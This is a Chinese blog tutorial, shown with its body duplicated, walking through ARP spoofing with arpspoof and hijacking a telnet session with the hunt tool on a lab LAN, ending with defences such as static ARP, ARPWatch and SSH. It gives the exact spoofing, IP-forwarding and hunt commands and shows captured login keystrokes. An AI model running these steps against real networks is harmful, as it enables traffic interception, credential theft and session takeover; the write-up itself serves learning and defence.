关于使用hunt进行会话劫持的实践
2011-12-14 16:01
260 查看
注:以下试验只是为了交流和学习使用,切勿应用于非法用途。
为了更加深入的理解TCP以及以太网交换技术,在这里学习使用hunt软件进行会话劫持。
大家知道,现在以太网交换机都是依据MAC地址来进行转发的,因此,在交换机的环境下,使用包监控软件监控不到其他的电脑的发送或接收的包(因为其他电脑发送的包如果外出的话都会封装上网关MAC地址,由交换机直接发送到网关所在端口,其他电脑根本接收不到此报文)。为了能实现监听到其他电脑的流量可以使用ARP欺骗,如下图所示,PC2分别发送ARP报文,将自己的MAC地址伪装成PC1和网关的MAC地址,从而使PC1发送的数据包经过PC2,而网关上发送到PC1的数据包也发送给PC2(为了能保证PC1的正常通信,PC2必须开启路由转发功能)
测试实践:
测试系统:linux
测试软件: dsniff 和hunt
arpspoof是dsniff软件包的一个程序,可以用来进行ARP欺骗,另外dsniff还有一些攻击和欺骗的东东。
Hunt是一个会话劫持的工具,操作简单,功能强大。
过程:
1.获取MAC地址
[root@centra-web2 sbin]# ping 134.65.5.1
PING 134.65.5.1 (134.65.5.1) 56(84) bytes of data.
64 bytes from 134.65.5.1: icmp_seq=1 ttl=255 time=16.5 ms
--- 134.65.5.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.586/16.586/16.586/0.000 ms
[root@centra-web2 sbin]# ping 134.65.5.111
PING 134.65.5.111 (134.65.5.111) 56(84) bytes of data.
64 bytes from 134.65.5.111: icmp_seq=1 ttl=128 time=0.285 ms
--- 134.65.5.111 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.285/0.285/0.285/0.000 ms
获取134.65.5.1 134.65.5.111的MAC地址
2.ARP欺骗:是利用广播地址上主机保持周边计算机信息方式的固有安全弱点,使用伪造的MAC地址和IP地址伪装成ARP高速缓存中的另外一台主机的技术。攻击者可以伪造其它主机的MAC地址,通过伪造ARP回应获取LAN内的一台主机发送给另外一台主机的数据包。
[root@centra-web2 sbin]# ./arpspoof -i eth0 -t 134.65.5.111 134.65.5.1
//告诉134.65.5.111 134.65.5.1的MAC地址为本机的MAC地址
这样134.65.5.111发送到网关的包就会被交换机转发到本机上
[root@centra-web2 sbin]# ./arpspoof -i eth0 -t 134.65.5.1 134.65.5.111
运行之后在134.65.5.111的电脑上查看,其里面的ARP缓存已经被更新
为了使客户和服务器正常的通信,需要将攻击者机器的IP转发功能打开,使其起到一个路由器的功能。
3.数据转发:转发客户和服务器间的数据包
一是利用linux内核进行转,echo 1 > /proc/sys/net/ipv4/ip_forward
4.会话劫持:劫持一个现存的会话,利用合法用户进行连接并通过验证,之后顺其自然接管会话。会话劫持有两种方式:积极的攻击方式和消极的攻击方式。积极的攻击方式中,黑客需要寻找动态的会话并且接管它,这种方式需要使用户下线、不再参与会话。消极的攻击方式中,黑客劫持会话,但是隐藏在后方观察并且记录发送和接收的信息。下面采用混合型攻击方式:先监视会话,然后劫持会话。使用软件为hunt
[root@centra-web2 hunt-1.5]# ./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
现在已经在监听134.65.5.111了,此时134.65.5.111恰好telnet 134.65.5.1
这时,监测见面如下:
0) 134.65.5.111 [4046] --> 134.65.5.1 [23]
--- Main Menu --- rcvpkt 10176, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
可以使用w查看这个telnet 会话
0) 134.65.5.111 [4069] --> 134.65.5.1 [23]
--- Main Menu --- rcvpkt 22132, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
-> w
0) 134.65.5.111 [4069] --> 134.65.5.1 [23]
choose conn> 0
CTRL-C to break
此时134.65.5.111主机在telnet 会话上输入用户名为test,监控主机hunt监控到用户的输入并显示如下:
% Username: timeout expired!
% Username: timeout expired!
Username:
Username:tttteeeesssstttt
Password:
另外还可以进行会话劫持:
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
-> s
0) 134.65.5.111 [4071] --> 134.65.5.1 [23]
choose conn> 0
dump connection y/n
> y
dump [s]rc/[d]st/[b]oth [b]>
print src/dst same characters y/n
> y
此时系统将134.65.5.111的telnet会话劫持过来,可以在此本地主机上对远程主机进行操作。
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
% Username: timeout expired!
Username:
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
% Username: timeout expired
三.防御:
防止ARP欺骗:
1.不要把网络安全信任关系建立在ip基础上或MAC基础上,理想的关系应该建立在ip+MAC基础上。
2.使用静态ARP,禁止自动更新,使用手动更新。
3.定期检查ARP请求,使用ARP监视工具,例如ARPWatch监视并探测ARP欺骗。
防止会话劫持:
1.通信和会话加密,使用安全协议,例如使用SSH代替telnet和ftp,使用SSL代替http。
2.限制连接,减少黑客进行会话劫持的机会。
3.完善认证措施,即不仅仅在建立会话时进行认证。
为了更加深入的理解TCP以及以太网交换技术,在这里学习使用hunt软件进行会话劫持。
大家知道,现在以太网交换机都是依据MAC地址来进行转发的,因此,在交换机的环境下,使用包监控软件监控不到其他的电脑的发送或接收的包(因为其他电脑发送的包如果外出的话都会封装上网关MAC地址,由交换机直接发送到网关所在端口,其他电脑根本接收不到此报文)。为了能实现监听到其他电脑的流量可以使用ARP欺骗,如下图所示,PC2分别发送ARP报文,将自己的MAC地址伪装成PC1和网关的MAC地址,从而使PC1发送的数据包经过PC2,而网关上发送到PC1的数据包也发送给PC2(为了能保证PC1的正常通信,PC2必须开启路由转发功能)
测试实践:
测试系统:linux
测试软件: dsniff 和hunt
arpspoof是dsniff软件包的一个程序,可以用来进行ARP欺骗,另外dsniff还有一些攻击和欺骗的东东。
Hunt是一个会话劫持的工具,操作简单,功能强大。
过程:
1.获取MAC地址
[root@centra-web2 sbin]# ping 134.65.5.1
PING 134.65.5.1 (134.65.5.1) 56(84) bytes of data.
64 bytes from 134.65.5.1: icmp_seq=1 ttl=255 time=16.5 ms
--- 134.65.5.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.586/16.586/16.586/0.000 ms
[root@centra-web2 sbin]# ping 134.65.5.111
PING 134.65.5.111 (134.65.5.111) 56(84) bytes of data.
64 bytes from 134.65.5.111: icmp_seq=1 ttl=128 time=0.285 ms
--- 134.65.5.111 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.285/0.285/0.285/0.000 ms
获取134.65.5.1 134.65.5.111的MAC地址
2.ARP欺骗:是利用广播地址上主机保持周边计算机信息方式的固有安全弱点,使用伪造的MAC地址和IP地址伪装成ARP高速缓存中的另外一台主机的技术。攻击者可以伪造其它主机的MAC地址,通过伪造ARP回应获取LAN内的一台主机发送给另外一台主机的数据包。
[root@centra-web2 sbin]# ./arpspoof -i eth0 -t 134.65.5.111 134.65.5.1
//告诉134.65.5.111 134.65.5.1的MAC地址为本机的MAC地址
这样134.65.5.111发送到网关的包就会被交换机转发到本机上
[root@centra-web2 sbin]# ./arpspoof -i eth0 -t 134.65.5.1 134.65.5.111
运行之后在134.65.5.111的电脑上查看,其里面的ARP缓存已经被更新
为了使客户和服务器正常的通信,需要将攻击者机器的IP转发功能打开,使其起到一个路由器的功能。
3.数据转发:转发客户和服务器间的数据包
一是利用linux内核进行转,echo 1 > /proc/sys/net/ipv4/ip_forward
4.会话劫持:劫持一个现存的会话,利用合法用户进行连接并通过验证,之后顺其自然接管会话。会话劫持有两种方式:积极的攻击方式和消极的攻击方式。积极的攻击方式中,黑客需要寻找动态的会话并且接管它,这种方式需要使用户下线、不再参与会话。消极的攻击方式中,黑客劫持会话,但是隐藏在后方观察并且记录发送和接收的信息。下面采用混合型攻击方式:先监视会话,然后劫持会话。使用软件为hunt
[root@centra-web2 hunt-1.5]# ./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
现在已经在监听134.65.5.111了,此时134.65.5.111恰好telnet 134.65.5.1
这时,监测见面如下:
0) 134.65.5.111 [4046] --> 134.65.5.1 [23]
--- Main Menu --- rcvpkt 10176, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
可以使用w查看这个telnet 会话
0) 134.65.5.111 [4069] --> 134.65.5.1 [23]
--- Main Menu --- rcvpkt 22132, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
-> w
0) 134.65.5.111 [4069] --> 134.65.5.1 [23]
choose conn> 0
CTRL-C to break
此时134.65.5.111主机在telnet 会话上输入用户名为test,监控主机hunt监控到用户的输入并显示如下:
% Username: timeout expired!
% Username: timeout expired!
Username:
Username:tttteeeesssstttt
Password:
另外还可以进行会话劫持:
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
-> s
0) 134.65.5.111 [4071] --> 134.65.5.1 [23]
choose conn> 0
dump connection y/n
> y
dump [s]rc/[d]st/[b]oth [b]>
print src/dst same characters y/n
> y
此时系统将134.65.5.111的telnet会话劫持过来,可以在此本地主机上对远程主机进行操作。
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
% Username: timeout expired!
Username:
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
Username:
% Username: timeout expired!
% Username: timeout expired
三.防御:
防止ARP欺骗:
1.不要把网络安全信任关系建立在ip基础上或MAC基础上,理想的关系应该建立在ip+MAC基础上。
2.使用静态ARP,禁止自动更新,使用手动更新。
3.定期检查ARP请求,使用ARP监视工具,例如ARPWatch监视并探测ARP欺骗。
防止会话劫持:
1.通信和会话加密,使用安全协议,例如使用SSH代替telnet和ftp,使用SSL代替http。
2.限制连接,减少黑客进行会话劫持的机会。
3.完善认证措施,即不仅仅在建立会话时进行认证。
相关文章推荐
- [课堂实践与项目]手机QQ客户端--4期(SQLite的加入,注册,找回,登录界面的修改):建立关于QQ注册类,使用SQLite进行存储,
- 关于《算法概论》中,使用dfs对图进行标记的操作的实践
- 关于使用2d照片进行3d建模
- 关于使用Hibernate 的HQL 语句进行增删改查
- 关于hid设备中使用ioctl向设备进行写数据问题
- javaweb学习总结(十一)——使用Cookie进行会话管理
- 关于使用Maven对项目进行install成功后得到的jar仍然是旧的的问题
- [转]关于使用SurfaceFligner进行绘图的具体实现方法
- 关于对Git远程仓库使用的实践总结
- 关于mysql 使用or连接索引失效引起的慢查询优化的初步实践
- 演示使用sql_trace和10046事件对其他会话进行跟踪,并给出trace结果
- 【object detection】RCNN 实践篇 - 使用 Alexnet 预训练 17-flower 数据集(17分类),使用 2-flower 数据集进行 fine-tuning
- 关于使用git进行代码托管下文件的恢复
- 关于使用sklearn进行数据预处理 —— 归一化/标准化/正则化
- 关于使用Java进行网络编程
- (插播)关于使用jenkins + unity +Xcode 来进行自动打包的处理。
- 关于使用sklearn进行数据预处理 —— 归一化/标准化/正则化
- 使用Cookie进行会话管理
- 使用mina当服务器进行纯文本消息或多媒体消息加密会话
- 关于Android使用proguard进行代码混淆